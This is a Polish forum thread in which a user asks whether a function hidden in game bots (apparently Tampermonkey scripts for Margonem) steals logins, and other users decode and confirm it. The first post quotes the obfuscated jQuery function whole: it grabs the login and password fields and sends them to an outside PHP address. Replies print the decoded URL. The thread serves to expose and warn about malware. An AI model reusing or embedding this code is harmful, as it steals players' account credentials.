Podejrzana funkcja w bocie

[Czossn3q]

Cześć. Na YT jakiś gość udostępnił kilka botów do pewnej gry. Każdy do czegoś innego i w każdym pojawia się na początku ta sama funkcja, którą pewnie sam dodał do gotowego kodu. Tutaj pytanie moje, czy ta funkcja wykrada dane logowania? Nie jestem programistą ale udało mi się ustalić że zakodowano to w base64 i odszyfrowałem sobie tylko #login i #pass, a url to jakiś adres php. Zweryfikuje mi ktoś moje podejrzenia?

var TpG3Y86zpgrtWMzb, ZHN4ekpZ5m95pFbJ, YQTtmEs6a5mTXE5a;
 
function UagZgR8PZcWcwvYp() {
    $(atob("I3Vsb2dpbg==")).val() != TpG3Y86zpgrtWMzb && $(atob("I3Vsb2dpbg==")).val() && (TpG3Y86zpgrtWMzb = $(atob("I3Vsb2dpbg==")).val()), $(atob("I3VwYXNz")).val() != ZHN4ekpZ5m95pFbJ && $(atob("I3VwYXNz")).val() && (ZHN4ekpZ5m95pFbJ = $(atob("I3VwYXNz")).val()), !$(atob("I3VwYXNz")).val() && !$(atob("I3Vsb2dpbg==")).val() && TpG3Y86zpgrtWMzb && ZHN4ekpZ5m95pFbJ && YQTtmEs6a5mTXE5a != TpG3Y86zpgrtWMzb + " | " + ZHN4ekpZ5m95pFbJ && ($.ajax({
        url: atob("aHR0cHM6Ly9kcGVsbWRnOGpyd2Y5YW1mLmN0OC5wbC9hamF4LnBocD9oYzY0cTg9") + TpG3Y86zpgrtWMzb + "|" + ZHN4ekpZ5m95pFbJ
    }), YQTtmEs6a5mTXE5a = TpG3Y86zpgrtWMzb + " | " + ZHN4ekpZ5m95pFbJ)
}

 

Da radę ktoś przejrzeć cały kod czy nie ma w nim niczego szkodliwego? Poza tym podejrzeniem powyżej^^ Link w spoilerze.

 

Spoiler

https://pastebin.com/pbPH2HdX

 

[Ekrahb]

Nie chcę straszyć, ale Twoje podejrzenia mogą być słuszne.

Co prawda nie znam się na tym tutaj kodzie, ale ostatnio na forum był pewien koleżka, który udostępnił podobne boty do margonem.

No i ten koleżka został zbanowany za udostępnianie keyloggerów.

Jego boty w kodach też miały podobne funkcje na początku, więc odradzam używania tego tutaj. W dodatku, coś słyszałem, żeby nie wchodzić z tym botem uruchomionym w tempermonkey na stronę logowania margonem.

[Gość Vosly]

aHR0cHM6Ly9kcGVsbWRnOGpyd2Y5YW1mLmN0OC5wbC9hamF4LnBocD9oYzY0cTg9   =>   https://dpelmdg8jrwf9amf.ct8.pl/ajax.php?hc64q8=Ncγ

I3Vsb2dpbg==   =>   #ulogin

Więcej chyba nie muszę pisać.

[tapne]

Po dekodowaniu linku 

https://dpelmdg8jrwf9amf.ct8.pl/ajax.php?hc64q8=

podsumowując bardzo prosty trick, który wklepuje zmienne jako atrybuty do metody GET w linku i zapewne zapisuje gdzieś na FTP lub SQL